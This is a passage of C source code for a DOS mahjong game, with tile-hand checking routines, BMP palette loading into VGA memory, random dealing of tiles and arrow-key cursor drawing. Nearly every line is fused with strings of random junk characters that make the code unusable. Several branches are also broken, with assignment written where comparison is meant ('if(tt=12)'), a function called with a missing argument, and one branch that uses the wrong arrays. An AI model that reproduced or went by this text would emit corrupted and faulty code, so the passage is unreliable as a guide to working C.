{( D' ~, Z  Y# y4 p- a) t
kl=kl+2;! `* u% b0 r, _5 \' [( [
if(kl==8)
5 b$ H; L: C" m" D- E0 [break;
2 l: }8 f* h( U1 V" C  a4 r! ~+ Z}1 O# E6 l1 D* _
test[ill++]=pt[kl];
! O, D: s* R: |! C2 e! c0 h& f}
& |( l; O5 g- `/ eisthree(test,tt-2);
# x- I0 T7 x8 a8 @9 @& a4 j6 D}
$ c7 A. `: p& c: h6 `# s7 \} 2 w! R- D. z5 X1 a, O: e0 k* D
else if(tt==9)
7 u5 M. f, x$ y, `  ~isthree(pt,tt);1 `6 h3 P, F- ~) C/ {
else if(tt==11)
- g& ~* ^: }; R# X# i" E+ W! yfor(i=0;i&lt;10;i++)+ p' p8 l8 f) `& X& ?* y
{
- M* ^; D! o3 @* F9 F8 sfor(j=0;j&lt;2;j++)# l) I" J6 G. t
{test[j]=pt[i+j];
6 u; d9 b! W7 d  n}
  |. ~5 a9 @5 G1 M+ Oif(istwo(test))
. f+ z  K! T- B( v" I{ ill=0;
6 T1 q1 p* D6 [. M% x; bfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
. o' H9 O! v3 U( |3 e9 G" A8 m{if(kl==i)9 x( i- x2 J$ o' Z
{2 ~6 s  T) h9 S: O
kl=kl+2;- ?  ]; V3 m; \& F
if(kl==11), _: v* o% c" ]
break;- U' _2 a3 C+ Z
}
& B' c8 p+ \; o# r0 Vtest[ill++]=pt[kl];% s+ k- e- S, D8 m" B: l
}' W- m1 `/ }) ~2 Q9 x
isthree(test,tt-2);
5 b* k- b: l+ t( _* L* H}
* w6 C+ O/ E5 b8 F1 Y$ \8 z9 z}
1 {: o3 H7 Z, c9 Delse if(tt=12)
( D* n' O, ?7 B8 `isthree(pt,tt);0 U5 N' Z: J4 L# @& \8 q
else if(tt=14)3 R! w2 ~( L' z5 r/ e$ e, J
for(i=0;i&lt;13;i++)9 {) I- ]1 d2 v& ?
{
' _! W; R# n0 z+ P  j/ W( zfor(j=0;j&lt;2;j++)% v! x; G5 `3 y" y
{test[j]=pt[i+j]; - w# d/ S% X) z9 s9 X2 I9 Q
}
9 D0 T- e. s) V- F& F" Jif(istwo(test))
+ }4 X% ~" q! Q/ L' B{ ill=0;+ ~3 n8 m0 S4 I
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# _7 Y0 K# ?* k' r( B{if(kl==i)( [  ~: h9 j& D, _0 B1 K
{) i$ w( ~2 ?, \0 o! f. T: g1 S: l$ O4 T
kl=kl+2;
: J% `+ K$ ?" R. B0 R. Qif(kl==14)$ Y5 D0 }, Y0 U- I. a1 u# Q3 a6 F5 ^
break;. ~' a" J" X3 ^+ E  x) T
}7 _$ z$ z$ A! r
test[ill++]=pt[kl];/ e9 t- k( @4 `) R2 C$ x
}7 k6 w# l- h* t( O' Y# Z& E
isthree(test,tt-2);
& y6 h; r7 h1 F6 q0 a}/ }* ~2 p0 \" J# c. z" N5 H# t
}/ s. @3 @& R7 b* ?3 P$ P6 p" D3 _
if(ii==2)
5 o& x5 g# r- g& B+ `) v8 K8 eistwo(pi);& M% y  n9 b3 _) ]3 O+ B
else if(ii==3)
  x" }1 O: j0 J5 U$ G1 ~3 O: G3 Fisthree(pi,ii);
6 O* Y: s: m3 ?1 V5 B) \( jelse if(ii==5)" Y  k( x2 l& \& m- _6 M% l
/*pi[5]原始牌数组,假设已经升序排列*/. b8 A# y& u& P6 h. a
/*test[3]用来放置测试牌的数组*/- F0 R4 a, X9 m+ m
for(i=0;i&lt;4;i++)6 W. R$ a& X! U$ e0 E
{( i) U  o4 k0 g6 _. {8 B
for(j=0;j&lt;2;j++)
  V7 k8 J" m  n5 U4 c{test[j]=pi[i+j]; . y8 D3 E# G! |6 Y! N  k
}
6 x0 Q- Y9 ?. G) S: v! R% _) z0 }( Bif(istwo(test))
& {# c: w* y6 S$ s8 c0 ?# u9 e{ ill=0;: w6 x0 K$ {: L0 d# Q( E! P. R
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/6 f- Q. F2 P5 u2 C+ Z6 ], \+ K
{if(kl==i)% v8 |; x! N! R8 N% @( c# p
{" {! D. H' n( I. E- i2 m% g" C
kl=kl+2;
9 r  ~9 V: B" y9 r( W5 k6 Qif(kl==5)) P3 X& T* d, t
break;0 p$ J3 g. o: }) ]2 V5 j
}
% Q) v8 P$ |. b- n8 Y: }4 Wtest[ill++]=pw[kl];
  c3 U( M0 ~& n6 [" l( ^$ E}" C8 C& ^, V3 v7 _
isthree(test);; s9 F1 X5 T$ ^8 l+ O
}
* f/ n% ]" f1 @" l6 ?3 Z8 u}& W$ `8 h! F& M
else if(ii==6)
1 b8 |& X8 U+ C5 @: a/ F2 v9 T3 Yisthree(pi,ii); 2 f% u. X  [, b/ ~9 Y8 D9 Z  Z
else if(ii==8)
- M" k( i2 U4 U, L7 Kfor(i=0;i&lt;7;i++)
# w- z: R$ d$ k7 P: s: F" M{8 J5 W9 S& U7 |; c4 K
for(j=0;j&lt;2;j++)( Y1 A) h: Q) n1 y6 p8 y
{test[j]=pi[i+j]; - @/ ?% e; D  @# u1 @0 k
}
- `. P$ _! o5 G) p- ^8 Uif(istwo(test))* @! q8 }0 o( t  {
{ ill=0;
: l" T1 V# z1 v3 U( gfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
1 r1 ?1 h$ ^; W5 o8 ?; r{if(kl==i); e) N# b. G" e/ K# t9 ]1 u
{+ a, e- q" P4 k1 b: H5 |8 Q: u; O
kl=kl+2;
  ]  H& j# h+ S' p- Kif(kl==8)  D+ C3 [" N4 D1 e, Q' D8 r" p
break;
5 C  _9 H4 X8 a1 M2 j0 x& D# \}- k0 m3 }) y4 s; \# A+ K( N
test[ill++]=pi[kl];" h- L8 F! Y0 R- E$ L# B6 _
}
  c+ ?9 H9 M: Z% q3 D: Histhree(test,ii-2);9 o0 s( V/ c& b( q0 e+ S
}
" b# @3 \, b- v# E8 p# ?" y8 X9 A}
7 r* W: q' U" qelse if(ii==9)- Q. w4 F! E9 I+ |
isthree(pi,ii);
+ t0 U( `- Z- ]  N# U& g  J% Ielse if(ii==11)
  g6 ?4 a9 m. i+ f9 x$ vfor(i=0;i&lt;10;i++)
; U; x9 N* T3 j* c; G  H$ f{
0 X2 o5 y, B0 H. v3 zfor(j=0;j&lt;2;j++)4 y  u6 n$ `5 J/ M9 W/ A4 Y, Z! z& o
{test[j]=pi[i+j]; " y' D. Y  L. n! T, {
}) ]% i7 z. G2 @4 N: F% o7 f
if(istwo(test))
- |1 u& `6 A$ h) T8 ~# H- A{ ill=0;2 e; {" T( s. w/ j% n7 Q0 T
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/; L2 H, Z+ O% `' y
{if(kl==i)
% b* [" E/ C, b# t{/ g0 N% a4 u2 m( G
kl=kl+2;, o1 S' [8 B7 x* o1 F( P* Y1 i" T
if(kl==11)* E7 K; w5 ~+ z  h. q3 ^1 x( y
break;
! l3 P; u) z, U4 I$ a# z}
2 j2 s7 @! @) J0 wtest[ill++]=pi[kl];4 g+ l5 ]# Q6 K7 L/ W
}2 X$ E9 \7 H, S: \6 O
isthree(test,ii-2); " f3 {/ u; }' N5 {, J( E
}
/ D9 a6 x$ M$ P& n( d! b8 Z- m# G} 6 X) u* ^/ W6 _* q1 L
else if(ii=12)5 Q& ?: f" |. H
isthree(pi,ii);9 R2 ?# P0 Z( {" w: O' j9 J
else if(ii=14)
* q6 [! u1 W& Rfor(i=0;i&lt;13;i++)
" ]* y$ A/ B, W* I8 T, [+ ^; ]$ k{
+ l* K8 P' F3 |for(j=0;j&lt;2;j++)" D. r6 _) @- R4 Z% y4 T- Q
{test[j]=pi[i+j];
* y2 Q2 x. Z6 j: [" k! w}
  J2 n! E7 Q2 R9 Xif(istwo(test))2 |! a8 a/ x% R  X& z: I1 L$ t1 [
{ ill=0;7 Q" _2 g0 H0 |$ \1 R1 |, f
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/* }+ b5 [2 X5 q1 b
{if(kl==i)
" J, I& V4 g# R; a{2 d% F4 ?; i! R8 o' t" g
kl=kl+2;# C% X- q. f* I7 ]
if(kl==14)
* E6 ]/ a* l$ H5 u$ |8 k* Y3 Xbreak;' q9 c2 y) Z$ C& t+ n- U
}
! l  D2 k  P+ B0 S& f" Wtest[ill++]=pi[kl];7 p; u  d% s8 E; v
}. S+ I1 h+ y4 X; Y& k
isthree(test,ii-2);
0 U& |* d0 @- Q. O0 W}
) `5 O" L, u8 e! U& T} 8 f1 `1 h- A% v! r
if(ff==2), u0 w$ z- ]4 ~# F  \8 ~
istwo(pf);/ b: K# y& w: `: r3 x
else if(ff==3)  D7 z* K. y% |+ t
isthree(pf,ff);. W1 H# G8 k$ Y- b% k# f" t
else if(ff==5)
+ }* r% z+ v3 g6 m/*pf[5]原始牌数组,假设已经升序排列*/6 C1 r- h8 t2 h, j6 x
/*test[3]用来放置测试牌的数组*/" \2 A8 L2 d. Q3 i: h6 P! V
for(i=0;i&lt;4;i++). |- V2 t0 m% k+ U; K
{
; y# i2 W4 z, n3 `% P5 afor(j=0;j&lt;2;j++)
, P: [" H- n. E( E{test[j]=pf[i+j];
( b2 {+ h1 D' b# d& {1 O9 G- ]}
+ n9 u- o# H" C( X4 Dif(istwo(test))
9 ]7 `% s+ ]0 h6 G0 F7 ~. O; G{ ill=0;
5 [) e( j8 ]/ w& d" ^! sfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
2 @; a/ K! o" F. L6 x/ G{if(kl==i)8 e% f0 v: _5 i/ q9 S
{
' r& B. i; \0 skl=kl+2;* ~& `3 G  l, @% l) z
if(kl==5)
- x: _) s- _" k, `% U! t9 xbreak;
. u9 S3 B. o, @7 T7 s0 d6 K- x}$ Q1 v/ y' [- v6 ^7 F0 s+ s' f7 S
test[ill++]=pf[kl];
! H8 Z$ T5 K2 Q) C6 b! b}. e4 z. B8 f/ l2 W* C4 i
isthree(test);/ Z$ H3 q( M+ L& c; |" D
}4 Q: T: f% u7 \' O$ o
}7 U$ L* A# H! ]* b2 ?% r
else if(ff==6)# s4 F* b  H/ Z5 P
isthree(pf,ff); 3 q& y( C: J: V2 a" D, K. b
else if(ff==8)
; I' e2 }6 g" X. q) Q* H# `: ]! h/ Hfor(i=0;i&lt;7;i++)- x* X' E  y" t9 r
{
8 \4 ~+ D% U- Z* j' r2 Hfor(j=0;j&lt;2;j++)9 a$ P7 N9 O- y6 y/ A  g% g3 x
{test[j]=pf[i+j];
8 z7 t1 T/ Z9 R5 g" [- E: |3 r}
/ ^3 p) s# O% P0 s7 \+ P( k: n. }if(istwo(test))9 m8 E- K. }& }
{ ill=0;2 p$ X  l; d3 W) ]. A
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/0 i: f" g& i& {% ]3 `
{if(kl==i)
3 U" M7 W2 i& v, c; ?1 Q1 @{' q# a: f! F+ t! m: v
kl=kl+2;4 r0 U$ |- c5 [6 j" y" P
if(kl==8)
# w' x3 w9 _; ]* k4 ^2 A' l1 |break;+ ?8 m% }% I, ]8 s% ~9 V" {
}
. A! |8 p. q  m" C0 A  s3 b( mtest[ill++]=pf[kl];+ g) u1 V( Q+ P: |
}3 S( G. _9 Z: B
isthree(test,ff-2); & D$ M9 s5 O6 K0 \9 \; E3 D
}
4 N$ `! v7 @: ?/ g} $ ]6 Z* m0 _9 l" [" B/ o) q
else if(ff==9), j0 V7 _4 c9 g( Y+ C: ]9 d  F
isthree(pw,ww);  N2 W: W5 a8 j- C
else if(ff==11)
5 G) F/ ]2 }& }/ M4 ofor(i=0;i&lt;10;i++)
8 D3 X2 L1 H' N* M- O% j+ j. R{% r5 H6 v, K5 p0 A" l! p& z* \
for(j=0;j&lt;2;j++)
0 K* L3 Q( y" n# H{test[j]=pf[i+j]; 2 }1 [1 U# W5 {
}
& W0 N, x9 g9 w6 b* J1 s1 Vif(istwo(test))) G+ {0 K! T) [. z2 B+ N# r+ _
{ ill=0;
+ M0 N" y. A3 W: ~  w7 w( H, vfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*// n( X/ w% M9 Z: ]6 g5 F
{if(kl==i)# S; Z1 t9 {" ]7 X5 W7 n
{9 H( s: ]: _. |4 y4 j% N
kl=kl+2;! s+ S. u/ ~- B6 i; r) e" I8 o
if(kl==11)
2 K. z" \. O7 Z! Y: ^* r; Q( `$ P. Ebreak;
8 f1 N% A! ~5 E/ A5 t* j; g}
1 j. l( W' P6 l- |7 F- Y/ V" S! ~test[ill++]=pf[kl];2 P% l; d  s, y: f! \3 g
}5 j4 ?6 A5 G- P% w' j; C
isthree(test,ff-2);
6 D. o$ K% y$ R+ w# ^& g}
9 K( }3 L0 g' x& X} * O) O; D; j  @( @; K
else if(ff=12)( h$ h  c3 Q- ]+ ^  H. o
isthree(pf,ff);" H* E5 Y- a, v& D
else if(ff=14)) D; b% k: d1 F4 j
for(i=0;i&lt;13;i++)3 Y& e% ~& T. B* x: R" Q9 Z5 u& x& d
{
% \3 L+ V& N& T, u5 c% Wfor(j=0;j&lt;2;j++)( c* b7 p7 ]3 i2 ~0 c, l
{test[j]=pf[i+j]; 0 ]8 k% R. _* s4 q# j( t
}
8 X- q1 _; ?* |2 tif(istwo(test))4 E: A1 C6 y5 S4 L8 i
{ ill=0;
9 k  B4 y& H+ q" F1 v- C. q. Z. D- N+ tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/1 |8 I# k5 M4 `- t
{if(kl==i)
$ G' j0 l4 k2 j$ O{2 L# G2 ~/ E% t' |8 q
kl=kl+2;
/ n6 p9 @  q. u6 Sif(kl==14)
2 d3 Y: [8 q1 Dbreak;7 P+ [# r5 C7 w9 o
}, Y4 p. N8 S) h& a7 m
test[ill++]=pf[kl];: k5 Q& L9 a3 A
}
# q- g5 k+ {; Y# ^$ j( ], zisthree(test,ff-2);% z+ U5 ?" w5 f1 S* B7 [- _0 ~
}
1 F: S0 @3 V' N3 D2 B1 G} 8 K) Z  k/ L6 f5 a: s( J
}
/ Q! O9 ]% ]* J/ Dvoid main(void)- U' L8 i% M$ F$ _- b! v3 `; d, v/ H  d
{
+ _8 y) D( ~; e" oFILE *bmp;, t$ y: N2 J# G2 S
static char *name[2]={"ff.bmp","logo.bmp"};
+ d& V( c' h- H  {% fchar *p;
- [- r3 r2 n, U8 O& K6 nint *lingshi;
6 I; g' Z# p! Q  W/ B6 |4 @# b0 zint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
( T* w" m8 q" g1 g  K9 g' B. K8 yint every=0,w=0,x1,x2,y1,y2,every1=0;; z: R+ ]- X4 h7 Z; E: B1 W6 g5 J8 Y
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;9 U1 N& a$ O; ]
BYTE palette[256][3];
/ u$ V: d) U: uSETVGA;
: D- z& Z% J: }8 I. E  r% m5 f( xgetch();/ N# x: D' F" }8 ^3 U& y% @
while(t--)( @7 s0 E3 O+ p! s  o
{9 z$ B' a/ o: S: F3 s
bmp=fopen(name[t],"rb");
' ~! a$ Q$ H0 p, I- rfseek(bmp,54,SEEK_SET);1 Y8 S' d7 Y( V( u2 M& ~0 [
for(i=0;i&lt;256;i++)
" ^/ _1 L# E4 C0 `* M{
$ ?) V' M! @6 U. qpalette[2]=fgetc(bmp)&gt;&gt;2;
9 ?$ N' U' J" X2 ^palette[1]=fgetc(bmp)&gt;&gt;2;
3 P0 e( n+ @3 g6 ypalette[0]=fgetc(bmp)&gt;&gt;2;& E. L7 I% }0 C* C2 C& |1 S8 U8 P
fgetc(bmp);& i- K: @9 Z, |% v% \
Set_Palette(i,palette[0],palette[1],palette[2]);0 d) ^( J7 [' h) L
}
+ Z2 N2 {: p' o) [" gfor (y=0;y&lt;200;y++)
7 C: d$ t1 f2 H  a7 {0 n% r; Wfor(x=0;x&lt;320;x++)1 ~7 g: x2 u. M# M7 b5 Y
pokeb(0xa000,y*320+x,fgetc(bmp));
3 X0 {' i  I0 O6 |6 M! S& Sfclose(bmp);: {* V5 i$ @" w- A' U# B
getch();
8 j( c0 l& n' ?7 O/ c$ S7 P5 _}9 G+ r8 u# Q% p/ _; Q
getch();3 ~$ y+ |$ [, w9 X7 w6 K% E
fillRectangle(0,0,320,200,0);
" ?6 }( d7 u* ?getch();
- Z4 n& O: I4 Q; f- Q4 {9 D5 q/ P/ Jrandomize();. j2 ?) h6 S( h& S) s: K, c
me.m=onetothirteen;/ I( u6 c& \% R# c
while(me.m&gt;0) /*先循环,给自己拿牌*/$ Q4 i, q0 ?' x
{% d& D  G% |9 ]2 A! h# V  b
7 E- U. Z# B' S- C, D$ L+ Z4 ]
temp=random(136);5 n+ z. D% |4 E; i, B
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
7 c* W) g& x5 h* M' j{9 b8 B" `' g7 \* }4 H9 R/ K+ r+ ^9 p
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
5 H/ Y6 B1 R  H/ K2 j; z* Sme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/' B2 w% ]% z1 B/ N) g7 Q9 I
me.pp[n].number=temp; /*第几张,用来排序*/
' i" ?8 F7 s8 n( ym[temp].data2=1; /*判断牌是谁的*/
% S8 N- F) @( N5 z5 E' `  akk=1;
* s: \% y4 s8 m; w7 y) b! p; o}- ?! U5 y$ a9 E" G2 ^! C! W
if(kk==0) /*判断如果又选择了,就从新再选*/
4 K6 [* O+ r$ O  M# N% W7 O2 H1 U6 ^{ 7 t  \% I; L( J0 {5 K: V
me.m++;
6 w: j1 A& m: w! n% E6 Z; Zn--;
. p7 W! Q/ C* k9 c. _- s8 z% N}
: D& Z% H* g! _9 w, M% w* ame.m--;
0 u  n" N# k' }+ J4 f: d( N% Dn++;$ }8 r8 g' o8 v6 b- T
kk=0;- ~0 G% I. W; N5 w
}
! ^, n! \7 g3 [, Pme.m=12;
7 }- {, G: j5 W2 pmelipai(); /*理牌*/: j8 B/ r8 r8 K0 }* m. h2 `( [7 e# b

: q+ _6 d8 v% x4 {+ Sn=13;% v" }7 Y' L% @) G6 T% y  t
while(l&lt;n)
. D5 d9 P! n0 o& Q7 f{
( s  P3 e; R: lz=z+20;
4 D  ~' J; ^' Ishowbmp(l);
8 {8 N* D' q: u$ X4 }6 {1 l5 C$ z. ~l++;" h" b) T; N1 {/ d; L  {  k
0 B% k8 C. L1 x
}
* M' l; k5 L' J0 X& krandomize();$ ?4 u& L1 w9 D- s; g+ Z
computer.m=oneorthirteen;* U, L( B% \8 X/ m, k
n=0;
5 j3 R  Z; p9 N) G/ Rwhile(computer.m&gt;0) /*循环,给对方拿牌*/
$ e3 O5 x( K3 e  i4 `{
- B, D: x5 O' I# D" |" |temp=random(136);
! |  F0 K; Z/ r  a: S. rif(m[temp].data2==0 &amp;&amp; m[temp].data1==0), W1 t! I) A0 f3 ~
{
( f9 {" H, M$ r2 j& d( h4 Vcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
* k( T! W  y0 U6 z. I" L4 T  {computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/; o. L2 u, ?8 k
computer.pp[n].number=temp; /*第几张,用来排序*/
( O, b' o& s! |* J4 t$ Wm[temp].data2=2; /*判断牌是谁的,2为电脑*/7 b4 q3 N0 v4 A; v
kk=1;
8 G9 d# w: z) n7 h6 B}
) Z# y+ ?, m& |  ]$ ?# sif(kk==0) /*判断如果又选择了,就从新再选*/
% ^4 C. b: X0 O* _# H7 [{
& R! n4 L& n. \4 z+ E* Vcomputer.m++;
! _+ s% t7 t# b& o2 Pn--;- l/ e- b  t0 d: Q
}% K% t/ W" [4 o/ E; I) j
computer.m--;
$ E9 Y! ^8 U' x7 |8 n# \n++;4 ]7 ]4 ?8 f0 y
kk=0;
  b4 m* \8 g6 J; K5 c! L}; T0 y. Y4 Y( E9 A* i& ^
computer.m=12;4 x; S, E5 I1 _9 Y
comlipai(); /*电脑理牌*/( \0 _& w0 R; T5 r+ }$ x
n=13;. v' Q8 e, z2 R
while(ll&lt;n)0 Q; R6 V  S8 I% c3 }: e
{
( \' `  }+ N$ q4 }: izy=zy+20;
! K2 q5 x4 z" Ishowybmp(ll);
+ i5 c5 A. S! all++;4 G% u6 Z. C0 q( n
}9 A8 a- r$ o2 q& U$ l6 M
4 i' P. N, m0 s( ~  n9 T4 P& h
z=54400;( \# g) r# V7 Q. R
while(key!=ESC)2 a/ M, A, h* o8 o+ v
{ & _+ f+ k* y# i- R- B

8 w# ~9 [' e* ikeyy=bioskey(0);
$ k, S) V( g7 O! hif(keyy==LEFT) & \/ h0 t$ M6 S$ \) B, y  A
{ w=1;
- _2 r) j; g$ N5 W/ ?1 iif(every==0)% R) T! n: V: K. m
{
! B, t9 J" K2 u9 F4 N3 I8 M7 l9 a7 Mevery=1;
6 ?8 Q& N) @' L- u7 Q* Rz=54440-5*320;3 H& G# W" a$ V3 F6 x. J1 R

& U) d2 x/ H) P}8 @- H- X+ v6 c' Q9 Q, A) _% c
zz=zz+5*320;: {( G; T* R+ I" o
showbmp(every);
; ~, N- Q# P: e0 p; pif(every==0)" ?4 [+ J# y8 o) x+ b
{
9 l. i& g, E/ Ax1=20;
0 V) T! `* \9 ?3 U& v# p5 C0 ?2 My1=165;4 u  i' Y$ ]2 Q+ H$ H1 }
fillRectangle(x1,y1,x1+20,y1+4,0);
3 A6 l9 I. f9 v* d4 |# O}6 [8 I$ T* W0 o
if(every==1)
, a4 `6 u+ B3 S{
0 `  `: ~! @5 lx1=40;
8 F' i1 x1 J+ q% hy1=165;8 Q# s! N4 @+ A; v
fillRectangle(x1,y1,x1+20,y1+4,0);
5 `  K( H: U, M4 b" C}
0 D! C- {- o' Uif(every==2)' t0 Q4 x  t1 G$ q7 [! }
{+ n* K1 _0 X  s9 ~* m! Q
x1=60;
- y, ^6 x* S7 `5 b$ ay1=165;, B9 G+ L% }, r5 H" I
fillRectangle(x1,y1,x1+20,y1+4,0);( f/ Z: ~3 u, J9 |7 D
}! f! v( W( w) f# u1 \0 y" |0 H
if(every==3)+ M( }  w, |7 n2 B
{
7 C8 N+ Z" H/ h. Fx1=80;
6 N4 m9 B% G: ]- M7 W* b( d! cy1=165;
) |! j' j: R' Y& Y# _. i! KfillRectangle(x1,y1,x1+20,y1+4,0);' M5 O) _  V4 p4 R5 A  p3 S
}
$ k# n. C# Q4 w4 a0 e) f9 {if(every==4)1 Q: H  `0 s* B* |% a
{) ]$ t7 a3 p2 p+ R2 T9 I2 C
x1=100;
! D+ `: R$ K/ G/ V9 y, ay1=165;
' E- V" x9 X8 i2 p4 @3 MfillRectangle(x1,y1,x1+20,y1+4,0);, N/ a$ L2 A$ G, ?$ @0 n
}- L7 ?) w" S' l
if(every==5)) l+ d2 F0 v. H4 Z
{
$ d6 }# Y, K3 [' Sx1=120;# B- P' ]8 v* \. \% U* ~8 Z
y1=165;* [" P) y  f6 V* S8 r5 I
fillRectangle(x1,y1,x1+20,y1+4,0);
+ e. M/ ^& z& |8 ^6 Z}
6 x. o  P6 |/ K' eif(every==6)+ @; U( ?1 y# R
{8 c. u- z: {. G% R) `1 J" C$ o0 ?
x1=140;! B6 I# a. J2 q" d
y1=165;& {: M) N% Q8 _7 s
fillRectangle(x1,y1,x1+20,y1+4,0);* o! r1 ?* F! c6 m. Q
}
# W. V: f" \! `& I% q+ wif(every==7)
: ?& u* W% @( G2 g6 P. T6 ^  E# o{
& [5 M) q( Y5 _: Sx1=160;9 r( G/ G; J- ]- @* w2 l) F
y1=165;/ x9 e3 C4 D) X6 y; q2 w; X  }) W0 ^
fillRectangle(x1,y1,x1+20,y1+4,0);9 w2 n+ c4 ], P$ l: ?) `+ A, i4 J9 e
}
& q6 |- F( N: @% L7 O& {1 aif(every==8)
; \1 ~+ y( c5 q# ?{
# o% T8 f6 D: }x1=180;% j' y/ y1 s6 j! j
y1=165;7 w& ~! ?* n/ \! |. Y1 t. U
fillRectangle(x1,y1,x1+20,y1+4,0);
- H: S* ]0 C5 N% B; K}+ y2 B8 b9 X! T- R# G
if(every==9)
  J6 \2 \% ?$ }1 ?& O) J" [{& r* {, Y1 k1 v( F* r. Y
x1=200;
" |4 o& x! Y# [+ M4 N9 By1=165;
) _( }7 p+ n! Q8 L$ z0 IfillRectangle(x1,y1,x1+20,y1+4,0);
+ G/ g( f8 k0 V}
- C* t: r  G& h' jif(every==10)
# _- U, X4 e: d1 N3 p' S{( v0 r3 V/ O/ T; d5 }- U$ B
x1=220;
4 E$ G4 @. W  g. q; oy1=165;  ?: s; [2 R. a4 d3 x5 Q" D+ U0 B1 a
fillRectangle(x1,y1,x1+20,y1+4,0);( s+ [4 [0 v0 T8 A3 N4 \
}
; A% k. h) i! F  Mif(every==11)" U0 P" }, Z; K$ C4 {
{
1 p) ]7 a, j- w9 |5 p0 `6 Wx1=240;
0 u2 R) ]9 K; o% X; }y1=165;8 `* g4 V7 G( ~( b
fillRectangle(x1,y1,x1+20,y1+4,0);& L( Q2 P5 H& i  G
}
7 W$ \* s( D5 K' l0 [* S& {" q) sif(every==12)  ^" A9 K5 j3 F5 E% a
{
  i  X. x: g! M  }) t0 K4 ]& H- ]x1=260;
0 o4 p8 ~4 n* c* P' [9 Ay1=165;. ]7 [8 }: q1 T( G! P
fillRectangle(x1,y1,x1+20,y1+4,0);
. N5 y+ o$ n. M! `# ?}6 o& I7 e; @  c/ D$ j+ q/ {% Z& U8 H
zz=0;- F/ ~' J9 j; B" i% E' S4 Z7 V; R
every--;  L) c4 m( R" r' j& Y/ t
z=z-20;* L, m1 [3 y% J
}
+ G9 ?" [! Y5 |) u$ D' B( Mif(keyy==RIGHT)) W" t0 [  t& |! J: M
{ if(w==0)0 s" A/ ]/ o7 ?  s3 V2 j; F
{; K& c4 e$ [+ L, D0 ?
z=54440-5*320;
) g& y9 L) B+ b/ Q: i' Vz=z-20;/ `. I$ M4 K- t- d& b
w=1;, M- B$ O6 s& {. {5 T
}
, ?9 f; T! S7 P! @3 Yif(every==12) ! O( s( \$ d* d0 M
{" H7 U3 D& B+ w. r- u  B3 P
every=11;
2 ]7 s7 [7 [; b# t$ Z- `7 Hz=54640-5*320;7 J8 q' Q+ y' F. ~/ \8 S- l
}! D9 A$ C! D/ C6 q2 g6 o. G
zz=zz+5*320;
- C% W1 L4 ]' N# S/ Nshowbmp(every);
" @/ u! O0 O# ?% C5 J- h/ fif(every==0)! T* m) A* v% ^# v  ?1 t. M$ }9 _1 U/ k
{& @" D5 u% x3 s/ e  G. Z- `+ T
x1=20;
1 c" u9 u5 O0 K/ T3 ?& y4 Gy1=165;# m/ B" W3 [0 C' [! K! U1 S7 }
fillRectangle(x1,y1,x1+20,y1+4,0);
$ V% o' h8 q* j" {- ~}
3 c2 u1 j9 v& D1 u9 w5 Uif(every==1)
3 @$ g  V7 C6 \9 N" A- C{" I6 y) ?( |, \! H3 X, d2 K
x1=40;' M- k) z4 `9 h# W% a
y1=165;
' V* D# E2 J* M6 A$ zfillRectangle(x1,y1,x1+20,y1+4,0);
( @  N& `! t0 Y}, [3 I* z, \5 R$ A$ M: x% j
if(every==2)
" {3 n7 @! A, u; ~0 [% K{
+ W1 j/ H! v5 sx1=60;
9 L: I  x# k' k5 Jy1=165;
; E- a5 k& m% z% B9 vfillRectangle(x1,y1,x1+20,y1+4,0);5 h, B" I7 b+ k6 k
}7 P1 ]1 S3 D3 n6 ~% M
if(every==3)
3 ?+ G0 h& D& {{
# I& _; ?. Q+ W5 a7 b: i* ox1=80;1 _( P% E9 q( Q8 F! d' [( ^
y1=165;
0 ~0 U  l& n, N. H" ~. hfillRectangle(x1,y1,x1+20,y1+4,0);, }4 A8 i, v7 c
}
5 {. y+ t6 ~2 T% [, v: b+ G! l- Kif(every==4)* Z8 L( k  s+ M2 I: C, z) R% g. W1 Q
{7 X( e% v/ P8 S9 T
x1=100;. E* z: L" W! \  k
y1=165;
% u5 W3 _# h- Z  ]; XfillRectangle(x1,y1,x1+20,y1+4,0);5 I, }. v4 s; L2 Z( H1 k
}
- X0 M/ K( D2 y7 \  Lif(every==5)* L" s, k1 N1 N. |( x0 Z3 ^+ T9 y
{
. d6 d2 ?$ G0 h* A( _) G! @3 a9 Fx1=120;. D* z- @1 C' L- u* r: m  }5 a
y1=165;
( K# v  K# p$ C4 @$ X1 L( `fillRectangle(x1,y1,x1+20,y1+4,0);% U. i" L3 ?8 `
}
+ e1 [, B/ m; K- T7 J! A, Wif(every==6)
) J5 B: E7 v2 f# k. m$ k  n0 X{$ j6 A2 z) Y" R% m- h8 R+ \
x1=140;- ^" a# p  U! t1 G% U# l4 X% r
y1=165;
# Q- V# a9 _& u" r9 kfillRectangle(x1,y1,x1+20,y1+4,0);
: l) X* U5 I. P}8 r$ f3 M2 d: ?2 K
if(every==7)1 N/ E, W9 g3 c7 g) I& q
{
5 k  {( \* `' V% ox1=160;
/ s! h9 Y( z  X7 ry1=165;
, @: X+ _) j: C, @fillRectangle(x1,y1,x1+20,y1+4,0);
) h  W3 D/ {; z- v/ @: r}8 [; P/ g/ V, B
if(every==8)
6 S7 E6 y+ _+ h9 m( S. J{6 I" _  [, w) ]( {
x1=180;6 Q2 g3 i$ w( t8 M
y1=165;8 Q& J( s  Z& j: a- f) ?
fillRectangle(x1,y1,x1+20,y1+4,0);: A7 C/ u0 X7 b/ U" x6 N
}
